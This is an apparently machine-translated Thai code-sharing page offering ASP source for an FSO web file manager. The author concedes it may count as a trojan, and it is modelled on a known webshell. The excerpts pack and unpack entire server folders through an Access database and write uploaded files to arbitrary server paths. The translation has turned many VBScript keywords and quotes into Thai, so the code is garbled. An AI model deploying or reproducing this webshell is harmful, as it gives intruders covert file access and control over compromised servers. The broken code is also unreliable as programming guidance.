หน้าแรก>ซอร์สโค้ด ASP>ข้อมูลไฟล์
ไม่มีทรัพยากร
นี่คือเบราว์เซอร์ไฟล์ FSO ที่เขียนโดยใช้วัตถุคอลเลกชัน FSO (หากคุณยืนยันว่าเป็นโทรจัน ฉันไม่มีข้อโต้แย้งใด ๆ ) ในทางปฏิบัติแล้ว มันเลียนแบบการออกแบบ "โทรจันยอดนิยมแห่งมหาสมุทร" แต่โค้ดจะถูกเขียนใหม่ทั้งหมด การใช้ส่วนประกอบเช่น Shell.Application ที่สามารถทำให้เกิดการฆ่าโดยไม่ได้ตั้งใจด้วยซอฟต์แวร์ป้องกันไวรัส มีเครื่องมือที่คล้ายกันมากมายบนอินเทอร์เน็ต มูลค่าการใช้งานของเครื่องมือนี้ไม่มากนัก แต่โค้ดหลายตัวในนั้นถือว่าเขียนได้ดี

คุณสมบัติที่สำคัญ ได้แก่ :

ดูข้อมูลดิสก์ เรียกดูไฟล์ในดิสก์ และดำเนินการในลักษณะเดียวกับ Windows Explorer เช่น การสร้าง การลบ การเปลี่ยนชื่อ การคัดลอก การย้าย และการดำเนินการแก้ไขไฟล์ข้อความพื้นฐานอื่นๆ
การดาวน์โหลดไฟล์ในโหมดสตรีมช่วยลดความยุ่งยากและเพิ่มประสิทธิภาพการอัปโหลด/การแพ็กไฟล์แบบไม่มีส่วนประกอบ สามารถแพ็ก/แตกแพ็กโฟลเดอร์ได้อย่างสมบูรณ์

ข้อมูลโค้ด:

1. แฟ้มบรรจุภัณฑ์/แกะชิ้นส่วน

  1. ============================ ขั้นตอนการบรรจุและแกะไฟล์ ================ = ============
  2. การบรรจุไฟล์
  3. แพ็ค ย่อย ( ByVal FPath, ByVal sDbPath)
  4. Server.ScriptTimeOut=900
  5.      Dim DbPath
  6.      ถ้า ขวา(sDbPath,4)= ".mdb"   แล้ว
  7. DbPath=sDbPath
  8.      อื่น
  9. DbPath=sDbPath ".mdb"
  10.      จบ   ถ้า
  12.      ถ้า oFso.FolderExists(DbPath) แล้ว
  13. EchoBack "ไม่สามารถสร้างไฟล์ฐานข้อมูลได้!" &แทนที่(DbPath, "", \")
  14.          ออก   ย่อย
  15.      จบ   ถ้า
  16.      ถ้า oFso.FileExists(DbPath) แล้ว
  17. oFso.DeleteFile DbPath
  18.      จบ   ถ้า
  20.      ถ้า IsFolder(FPath) แล้ว
  21. RootPath=GetParentFolder(FPath)
  22.          ถ้า ถูกต้อง(RootPath,1)<> "" ดังนั้น RootPath=RootPath&" "
  23.      อื่น
  24. EchoBack "กรุณาป้อนเส้นทางโฟลเดอร์!"
  25.          ออก   ย่อย
  26.      จบ   ถ้า
  28.      Dim oCatalog, connStr, DataName
  29.      ตั้งค่า conn=Server.CreateObject( "ADODB.Connection" )
  30.      ตั้งค่า oStream=Server.CreateObject( "ADODB.Stream" )
  31.      ตั้งค่า oCatalog=Server.CreateObject( "ADOX.Catalog" )
  32.      ตั้งค่า rs=Server.CreateObject( "ADODB.RecordSet" )
  33.      บน   ข้อผิดพลาด   ประวัติย่อ   ต่อไป
  34. connStr = "ผู้ให้บริการ=Microsoft.Jet.OLEDB.4.0; แหล่งข้อมูล=" & DbPath
  35. oCatalog สร้าง connStr
  36.      หาก ผิดพลาด แล้ว
  37. EchoBack "ไม่สามารถสร้างไฟล์ฐานข้อมูลได้!" &แทนที่(DbPath, "", \")
  38.          ออก   ย่อย
  39.      จบ   ถ้า
  40.      ตั้งค่า oCatalog= ไม่มีเลย
  41. conn.เปิด connStr
  42. conn.Execute( "สร้างไฟล์ตาราง (ID int IDENTITY(0,1) คีย์หลักที่คลัสเตอร์, FilePath VarChar, FileData Image)" )
  43. oStream.เปิด
  44. oStream.Type=1
  45. rs.เปิด "ไฟล์" ,conn,3,3
  46. DataName=ซ้าย(oFso.GetFile(DbPath).Name,InstrRev(oFso.GetFile(DbPath).Name, "." )-1)
  47. NoPackFiles=แทนที่(NoPackFiles, "<$datafile>" ,DataName)
  49. FailFileList= ""          รายการไฟล์ที่ไม่สามารถบรรจุได้
  50. PackFolderFPath
  51.      ถ้า FailFilelist= ""   แล้ว
  52. EchoClose "การบรรจุโฟลเดอร์สำเร็จ!"
  53.      อื่น
  54. Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
  55. Response.Write "<Script Language= JavaScript >alert( Folder packaging complete!nThe following is a list of files that failed to be package: );</Script>"
  56. Response.Write "<body>" &แทนที่(FailFilelist, "|" , "<br>" ) "</body>"
  57.      จบ   ถ้า
  58. oStream.ปิด
  59. rs.ปิด
  60. เชื่อมต่อปิด
  61. จบ   ย่อย
  62. เพิ่มโฟลเดอร์ (ซ้ำ)
  63. PackFolder ย่อย (เส้นทางโฟลเดอร์)
  64.      ถ้า   ไม่ใช่ IsFolder(FolderPath) แล้ว   ออก   ย่อย
  65.      หรี่ oFolder, sFile, sFolder
  66.      ตั้ง ค่า oFolder=oFso.GetFolder(FolderPath)
  67.      สำหรับ   แต่ละ sFile ใน oFolder.Files
  68.          ถ้า InStr(NoPackFiles, "|" &sFile.Name "|" )<1 จากนั้น
  69. PackFile sFile.Path
  70.          จบ   ถ้า
  71.      ต่อไป
  72.      ตั้งค่า sFile = ไม่มีเลย
  73.      สำหรับ   แต่ละ sFolder ใน oFolder.SubFolders
  74. PackFolder sFolder.Path
  75.      ต่อไป
  76.      ตั้งค่า sFolder= ไม่มีเลย
  77. จบ   ย่อย
  78. เพิ่มไฟล์
  79. ไฟล์แพ็ค ย่อย (FilePath)
  80.      ดิม เรลพาธ
  81. RelPath=แทนที่(FilePath,RootPath, "" )
  82.      การตอบกลับเขียน RelPath & "<br>"
  83.      บน   ข้อผิดพลาด   ประวัติย่อ   ต่อไป
  84. ผิดพลาด.เคลียร์
  85. ผิดพลาด= เท็จ
  86. oStream.LoadFromFile FilePath
  87. rs.เพิ่มใหม่
  88. rs( "FilePath" )=RelPath
  89. rs( "FileData" )=oStream.Read()
  90. อาร์เอสอัปเดต
  91.      หาก ผิดพลาด แล้ว
  92.          การบรรจุไฟล์ล้มเหลว
  93. FailFilelist=FailFilelist&FilePath "|"
  94.      จบ   ถ้า
  95. จบ   ย่อย
  97. ================================================== ===============================================================
  98. การแตกไฟล์
  99. คลายแพ็ค ย่อย (vFolderPath, DbPath)
  100. Server.ScriptTimeOut=900
  101.      Dim FilePath, FolderPath, sFolderPath
  102. FolderPath=vFolderPath
  103. FolderPath=ตัดแต่ง(FolderPath)
  104.      ถ้า กลาง(FolderPath,2,1)<> :   แล้ว
  105. EchoBack "รูปแบบเส้นทางไม่ถูกต้องและไม่สามารถสร้างไดเร็กทอรีได้!"
  106.          ออก   ย่อย
  107.      จบ   ถ้า
  109.      ถ้า ขวา(FolderPath,1)= ""   จากนั้น FolderPath=ซ้าย(FolderPath,Len(FolderPath)-1)
  110.      ดิม คอนสตรัท
  111.      ตั้งค่า conn=Server.CreateObject( "ADODB.Connection" )
  112.      ตั้งค่า oStream=Server.CreateObject( "ADODB.Stream" )
  113.      ตั้งค่า rs=Server.CreateObject( "ADODB.RecordSet" )
  114. connStr = "ผู้ให้บริการ=Microsoft.Jet.OLEDB.4.0; แหล่งข้อมูล=" & DbPath
  115.      บน   ข้อผิดพลาด   ประวัติย่อ   ต่อไป
  116. ผิดพลาด= เท็จ
  117. conn.เปิด connStr
  118.      หาก ผิดพลาด แล้ว
  119. EchoBack "ข้อผิดพลาดในการเปิดฐานข้อมูล!"
  120.          ออก   ย่อย
  121.      จบ   ถ้า
  122. ผิดพลาด= เท็จ
  123. oStream.เปิด
  124. oStream.Type=1
  125. rs.เปิด "ไฟล์" ,conn,1,1
  126. FailFilelist= ""          ล้างรายการไฟล์ที่ล้มเหลว
  127.      ทำ   ถึงวันที่ rs.EOF
  128. ผิดพลาด.เคลียร์
  129. ผิดพลาด= เท็จ
  130. FilePath=FolderPath ""&rs(" FilePath")
  131. FilePath=แทนที่(พาธไฟล์, "\", " ")
  132. sFolderPath=ซ้าย(FilePath,InStrRev(FilePath, "" ))
  133.          ถ้า   ไม่ใช่ oFso.FolderExists (sFolderPath) แล้ว
  134. CreateFolder(sFolderPath)
  135.          จบ   ถ้า
  136. oStream.SetEos()
  137. oStream.Write rs( "ข้อมูลไฟล์" )
  138. oStream.SaveToFile FilePath,2
  140.          หาก ผิดพลาด แล้ว          เพิ่มรายการไฟล์ที่ล้มเหลว
  141. FailFilelist=FailFilelist&rs( "FilePath" ).ค่า "|"
  142.          จบ   ถ้า
  144. rs.MoveNext
  145.      วนซ้ำ
  146. rs.ปิด
  147.      ตั้งค่า rs = ไม่มีเลย
  148. เชื่อมต่อปิด
  149.      ตั้งค่า conn= ไม่มีอะไร
  150.      ตั้งค่า oStream = ไม่มีเลย
  151.      ถ้า FailFilelist= ""   แล้ว
  152. EchoClose "การแตกไฟล์สำเร็จ!"
  153.      อื่น
  154. Response.Write "<link rel= stylesheet type= text/css href= ?page=css >"
  155. Response.Write "<Script Language= JavaScript >alert(Folder packaging complete!nThe following is a list of files that failed to be package, please check);</Script>"
  156. Response.Write "<body>" &แทนที่(FailFilelist, "|" , "<br>" ) "</body>"
  157.      จบ   ถ้า
  158. จบ   ย่อย
  159. ================================================== =========================

2. ส่วนอัพโหลดไฟล์ (ไฟล์เดียว):

  1. บันทึกไฟล์ที่อัพโหลด
  2. บันทึกย่อย อัปโหลด ( ByVal FolderName)
  3.      ถ้า   ไม่ใช่ IsFolder (ชื่อโฟลเดอร์) จากนั้น
  4. EchoClose "ไม่ได้ระบุโฟลเดอร์อัพโหลด!"
  5.          ออก   ย่อย
  6.      จบ   ถ้า
  7.     
    8. เส้นทาง Dim,
  8. เส้นทาง
  9. IsOverWrite =
    10. ชื่อโฟลเดอร์
  10.      ถ้า ใช่(Path,1)<> "" ดังนั้น Path=Path&" "
  11. FileName=Replace(Request( "filename" ), ""," ")
  12.      ถ้า Len(ชื่อไฟล์)<1 แล้วก็
  13. EchoBack "โปรดเลือกไฟล์และป้อนชื่อไฟล์!"
  14.          ออก   ย่อย
  15.      จบ   ถ้า
  16. เส้นทาง=เส้นทาง
  17.      ถ้า LCase(Request( "overwrite" ))= "true"   จากนั้น
  18. IsOverWrite= True
  19.      อย่างอื่น
  20. IsOverWrite= เท็จ
  21.      จบ   ถ้า
  22.      บน   ข้อผิดพลาด   ประวัติย่อ   ต่อไป
  23.      เรียก MyUpload (เส้นทาง, IsOverWrite)
  24.      หาก เกิดข้อผิด พลาด
  25. EchoBack "การอัปโหลดไฟล์ล้มเหลว! (ไฟล์อาจมีอยู่แล้ว)"
  26.      อื่น
  27. EchoClose "อัปโหลดไฟล์สำเร็จแล้ว!n" & แทนที่ (ชื่อไฟล์, "", " \")
  28.      จบ   ถ้า
  29. จบ  
  30. รหัสหลักในการอัปโหลดไฟล์
  31. ย่อย
  32. Sub MyUpload (FilePath, IsOverWrite)
  33.      Dim oStream,tStream,ชื่อไฟล์,sData,sSpace,sInfo,iSpaceEnd,iInfoStart,iInfoEnd,iFileStart,iFileEnd,iFileSize,RequestSize,bCrLf
  34. RequestSize=Request.TotalBytes
  35.      ถ้า RequestSize<1 แล้ว   ออก   ย่อย
  36.      ตั้งค่า oStream=Server.CreateObject( "ADODB.Stream" )
  37.      ตั้งค่า tStream=Server.CreateObject( "ADODB.Stream" )
  38.      ด้วย oStream
  39. .Type=1
  40. .Mode=3
  41. .Open
  42. .Write=Request.BinaryRead(RequestSize)
  43. .Position=0
  44. sData=.Read
  45. bCrLf=ChrB(13)&ChrB(10)
  46. iSpaceEnd=InStrB(sData,bCrLf)-1
  47. sSpace =LeftB(sData,iSpaceEnd)
  48. iInfoStart=iSpaceEnd+3
  49. iInfoEnd=InStrB(iInfoStart,sData,bCrLf&bCrLf)-1
  50. iFileStart=iInfoEnd+5
  51. iFileEnd=InStrB(iFileStart,sData,sSpace)-3
  52. sData= ""      ล้างข้อมูลไฟล์
  53. iFileSize=iFileEnd-iFileStart+1
  54. tStream.Type=1
  55. tStream.Mode=3
  56. tStream.Open
  57. .Position=iFileStart-1
  58. .CopyTo tStream,iFileSize
  59.          ถ้า IsOverWrite ดังนั้น
  60. tStream.SaveToFile FilePath,2
  61.          อื่น
  62. tStream.SaveToFile FilePath
  63.          จบ   ถ้า
  64. tStream.Close
  65. .Close
  66.      จบ   กับ
  67.      SettStream = ไม่มีอะไร
  68.      ตั้งค่า oStream= ไม่มีอะไร
  69. สิ้นสุด   ย่อย

 
ขยาย
ข้อมูลเพิ่มเติม
แอปที่เกี่ยวข้อง
แนะนำสำหรับคุณ
ข้อมูลที่เกี่ยวข้อง ทั้งหมด